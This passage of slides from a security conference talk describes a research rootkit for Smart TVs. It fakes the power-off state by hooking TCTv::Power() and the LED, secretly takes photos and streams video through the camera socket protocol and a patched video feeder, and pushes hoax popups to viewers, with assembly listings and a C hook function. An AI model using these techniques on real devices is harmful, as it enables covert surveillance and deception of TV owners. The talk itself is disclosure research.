  • 70. 70 Korean hackers work for 24/7  Our surveillance program should work for 24/7 even when users turn-off TV  For the record:  We didn’t really want to make this, but, the company said to media (ZDNET Korea)  “By bad guys, taking pictures might be possible in TV, but, when users turn off TV, it’s impossible.”  But Smart TV is just like a regular PC, we should be able to do everything if we already pwned it.
  • 71. 71 How? Reversing and hacking  First, we should find functions that do turn- on and turn-off  TCTv::Power()  When TV is on and user press “power button”, TV does  Off screen  Off sound  Off some processes  Not kernel  And reach to TCTv::Power() to actually turn off
  • 72. 72 Trick for 24/7  So, we put a tiny hook code in prologue of TCTv::Power()  Just “return”  Then, it seems TV is off except this LED
  • 73. 73 Trick for 24/7  To turn off the LED, we call  TDsSystem::SetLightEffect() with 0  Now, the TV looks turn-off!  But actually not  Our rookit is still working  We have to put another hook code at TCTv::Power() again  if(second_condition) TDsSystem::SetLightEffect() with 3
  • 74. 74 Trick for 24/7  Later, user push “power button” again to turn on the TV  It will reach to TCTv::Power() and TDsSystem::SetLightEffect(3) will be called  To make the LED on  Then, we call TDsSystem::SetPower(0)  For “fast-reboot”, this takes only 1 sec  And TV screen, sound, processes go up  Since the fast-reboot, it’s rebooted and our shell is disconnected  But we have persistence shells!  After a few minuets later, we’ll get a shell
  • 75. 75 Trick for 24/7  By this way, users never realize if there is something inside!  Rootkit!  So, we’ve done so far  Getting shells from the box  Cute tricks for debug messages  Patch and linux kernel module  Some debugging  Persistence shells  24/7 working  And.. Where is the surveillance?!
  • 76. 76 The self surveillance program  We’ve implemented two surveillance tools  1: Taking pictures and sending them to our server automatically  2: Video recording and live-watch it remotely (Streaming!)  We’ll cover both how we implemented the 2 tools  But will only give a demo for the second one as it’s much more funnier than first one and due to time lack
  • 77. 77 A photo taker  We have to understand how the TV works  How?  A lot of reversing  We could use the camera device driver directly, but, tried to know what user level functions are actually used for it
  • 78. 78 Ideas to implement a photographer  1. Learn API related camera provided by the vendor and use it our app  Problem: possibility it only works in a normal app and can not be background  2. Reversing the default camera program in the TV  Problem: it takes more time than just learning those APIs  But we take this because this might be an ultimate solution
  • 79. 79 Ideas to implement a photographer  How the default camera program works  1. Open /tmp/stream_socket  2. Send commands to the socket  [Commands]  Send “Camera”  Send “StopSecCamStreaming”  Send “SetMicVolume”  And so on..  Send “SetCameraDisplaySize”  Send “SetCameraProperty”  Send “CaptureCamVideo”  Send “StopCamVideo”  And reply them for loop
  • 80. 80 Protocol for the commands  It has a fairly simple protocol format  [Length_of_command] – [Command] – [Length_of_ARG1] – [ARG1_value] – [Length_of_ARG2] – [ARG2_value] – [Length_of_ARG3] – [ARG3_value] – [Length_of_ARG4] – [ARG4_value] and so on  A dump for SetCamVideoDisplaySize command  0x18 0x00 0x00 0x00 0x53(S) 0x65(e) 0x74(t) 0x43(C) 0x61(a) 0x6d(m) 0x56(V) 0x69(i) 0x64(d) 0x65(e) 0x6f(o) 0x44(D) 0x69(i) 0x73(s) 0x70(p) 0x6c(l) 0x61(a) 0x79(y) 0x53(S) 0x69(i) 0x7a(z) 0x65(e) 0x00 0x00 0x04 0x00 0x00 0x00 0x30(0) 0x00 0x00 0x00 0x04 0x00 0x00 0x00 0x30(0) 0x00 0x00 0x00 0x08 0x00 0x00 0x00 0x31(1) 0x39(9) 0x32(2) 0x30(0) 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00 0x31(1) 0x30(0) 0x38(8) 0x30(0) 0x00 0x00 0x00 0x00
  • 81. 81 A video taker  Now, you can take pictures by the communication with the socket  And within the commands  It’s time to implement a video taker  There was a problem that the camera app didn’t make a dump file for the stream  So, we had to find a way to dump it  By reversing, we’ve analyzed we can be reached there via..
  • 82. 82 #TODO – Video recording ... CMoIPStreamManager::StartMediator() -> CMoIPStreamManager::SetMicVolume() -> CMoIPCameraManager::SetProperty() -> CMoIPEmpMediator::ProcessCmd() => CMoIPCameraManager::GetCapability() => CMoIPStreamManager::SetCamVideoSize(0,0,1920,1080) -> CMoIPStreamManager::SetCameraProp(3,1280,720) -> CMoIPStreamManager::SetCamSrcSize(1280,720) -> CMoIPVideoFeeder::SetScrVideoSize(1280,720) -> CMoIPStreamManager::StartCamVideo(1,2) -> CMoIPStreamManager::InitializeCamVideo() -> CMoIPVideoFeeder::SetSourceType() -> CMoIPVideoFeeder::StartRenderer() -> CMoIPVideoFeeder::Initialize() -> CMoIPVideoFeeder::InitVideo() -> CMoIPVideoFeeder::t_InitVideoDecoder() -> CMoIPStreamThread::Create() -> CMoIPStreamManager::StartCamRecord() -> CMoIPReceiveCamVideo::SubmitVideoData() -> CMoIPBuffer::Read() -> CMoIPVideoFeeder::SubmitVideoData() ...
  • 83. 83 ReadBuffer sounds always good  CMoIPBuffer::Read() sounds very good  Dumping buffer and saving it into a file  But a better way at StartRenderer() LDR R12, =(_GLOBAL_OFFSET_TABLE_ - 0x263FFD8) MOV R1, #3 LDR R2, =(aCmoipvideof_18 - 0x66E91E8) ADD R12, PC, R12 ; _GLOBAL_OFFSET_TABLE_ STMFD SP!, {R3,R4,R11,LR} ADD R2, R12, R2 MOV R4, R0 LDR R3, [R0,#0x58] ADD R11, SP, #0xC MOV R0, #5 BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz MOV R0, R4 BL _ZN16CMoIPVideoFeeder10InitializeEv MOV R3, #1 MOV R0, R4 STRB R3, [R4,#0x66] BL _ZN16CMoIPVideoFeeder11t_StartDumpEv LDMFD SP!, {R3,R4,R11,PC}
  • 84. 84 _ZN16CMoIPVideoFeeder11t_StartDumpEv STMFD SP!, {R4-R6,R11,LR} ADD R11, SP, #0x10 SUB SP, SP, #0x104 LDR R4, =(_GLOBAL_OFFSET_TABLE_ - 0x263F12C) MOV R5, R0 ADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_ LDRB R3, [R0,#0x1C] CMP R3, #0 BEQ BAD_LOCATION LDR R3, [R0,#0xC] CMP R3, #0 BEQ GOOD_LOCAION LDR R2, =(aCmoipvideof_11 - 0x66E91E8) MOV R0, #5 LDR R3, [R5,#0x58] MOV R1, #3 ADD R2, R4, R2 BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz SUB SP, R11, #0x10  BAD_LOCATION LDMFD SP!, {R4-R6,R11,PC} SUB R6, R11, #-s #
  • 85. 85 _ZN16CMoIPVideoFeeder11t_StartDumpEv SUB R6, R11, #-s  GOOD_LOCAION LDR R1, =(aMtd_rwcommonFe - 0x66E91E8) LDR R2, [R0,#0x58] ADD R1, R4, R1 MOV R0, R6 BL sprintf LDR R1, =(aAmrWb+4 - 0x66E91E8) MOV R0, R6 ADD R1, R4, R1 BL fopen LDR R2, =(aCmoipvideof_12 - 0x66E91E8) LDR R3, [R5,#0x58] MOV R1, #3 ADD R2, R4, R2 STR R0, [R5,#0xC] MOV R0, #5 BL _ZN7CCDebug5PrintI11CCDebugMoIPEEvmmPKcz B loc_263F158
  • 86. 86 Thank you for the code, dev!  So, if we set arg1 + 0x1c to not 0, the program saves the buffer into a file  Alright, we do this by patching again int hooked_func(unsigned int a) { unsigned int *p, value; int (*my_func)(unsigned int b); printf("hooked CMoIPVideoFeeder::StartRenderern"); value = *(int *)(a+28); p = a+28; *p = 1; my_func = (void*) hook_info.orig; hook_precall(&hook_info); value = my_func(a); hook_postcall(&hook_info); return value; }
  • 87. 87 We have a video file, then?  We now have a video file  We could just send it to us and open it  But we made a streaming for show  Now.. Go for DEMO!
  • 88. 88 Deceiving victims  Do you remember that AP twitter account got hacked?  The stock points went down http://www.cbsnews.com/
  • 89. 89 Hoax on Smart TV  It’s also possible to make hoax on Smart TV  There are many APIs that show movies, images and text on TV
  • 90. 90 Popup API  There are some APIs for popping text  We choose CCDrawing::Show()  Alternatives (CCButton::TextDrawing, etc) .text:02042C78 ; CCDrawing::Show(void) .text:02042C78 EXPORT _ZN9CCDrawing4ShowEv .text:02042C78 _ZN9CCDrawing4ShowEv .text:02042C78 .text:02042C78 STMFD SP!, {R4-R7,R11,LR} .text:02042C7C ADD R11, SP, #0x14 .text:02042C80 MOV R4, R0 .text:02042C84 BL pthread_self .text:02042C88 LDR R6, [R4,#0x18] .text:02042C8C LDR R7, [R6,#0x20] .text:02042C90 LDR R3, [R7,#0xC] .text:02042C94 CMP R3, R0 .text:02042C98 MOV R5, R0 .text:02042C9C BEQ loc_2042D34 .....
  • 91. 91 Showing hoax  To use Popup APIs is actually not simple  There are small components for a box  Label, button, etc  Each component should be filled with correct information  Position, font and other properties  We show a demo  And the code will be released after this conference
  • 92. 92 Conclusion  Smart TV hacks probably doesn’t make money like Smartphone hacks  But personal privacies are very important  And Smart TV is a perfect target for surveillance  Power is connected  Camera and voice sensors  Can be located at very privacy places  Almost no noise while running  It’s now getting used more and more in office environments, Smart TV security should be considered for security policy
  • 93. 93 Conclusion  Deceiving Smart TV users is also a good spot to research  As the case of hacked AP twitter account  We’re planning to release all code  Surveillance Rootkits  Hoax tools  You can find updated slides here  http://grayhash.com
  • 94. 94 Thanks to  Mongii from hackerschool.org  Helped me a lot and got me inspired  Tora from google  Defend.the.world!  Donato from revuln.com  Tora and Donato gave me nice comments  Samygo forum  Lots of useful information  IAS Lab, CIST, Korea University
  • 95. 95 Q & A  Thank you for attending  Contact me if you have any question  beist@grayhash.com  http://twitter.com/beist
  • 96. SeungJin Lee E-mail : beist@grayhash.com Twitter : @beist Beist has been a member of the IT security field since 2000. His first company was Cyber Research based in Seoul, South Korea and first focused on pen-testing. He then got a Computer Engineering B.A. degree from Sejong University. He has won more than 10 global CTF hacking contests in his country as well as passed DefCon quals 5 times. He has sold his research to major security companies like iDefense and ZDI (Recon ZDI contest). He has run numerous security conferences and hacking contests in Korea. Hunting bugs and exploiting them are his main interest. He does consulting for big companies in Korea and is now a graduate student at CIST IAS LAB, Korea University.
  • 97. Seungjoo Kim (Corresponding Author) E-mail : skim71@korea.ac.kr Homepage : www.kimlab.net Facebook, Twitter : @skim71 Prof. Seungjoo Kim received his B.S. (1994), M.S. (1996), and Ph.D. (1999) in information engineering from Sungkyunkwan University (SKKU) in Korea. Prior to joining the faculty at Korea University (KU) in 2011, He served as Assistant & Associate Professor of School of Information and Communication Engineering at SKKU for 7 years. Before that, He served as Director of the Cryptographic Technology Team and the (CC-based) IT Security Evaluation Team of the Korea Information Security Agency (KISA) for 5 years. Now he is Full Professor of Graduate School of Information Security at KU, and a member of KU's Center for Information Security Technologies (CIST). Also, He has served as an executive committee member of Korean E-Government, and advisory committee members of several public and private organizations such as National Intelligence Service of Korea, Digital Investigation Advisory Committee of Supreme Prosecutors' Office, Ministry of Justice, The Bank of Korea, ETRI(Electronic and Telecommunication Research Institute), and KISA, etc. His research interests include cryptography, information security and information assurance.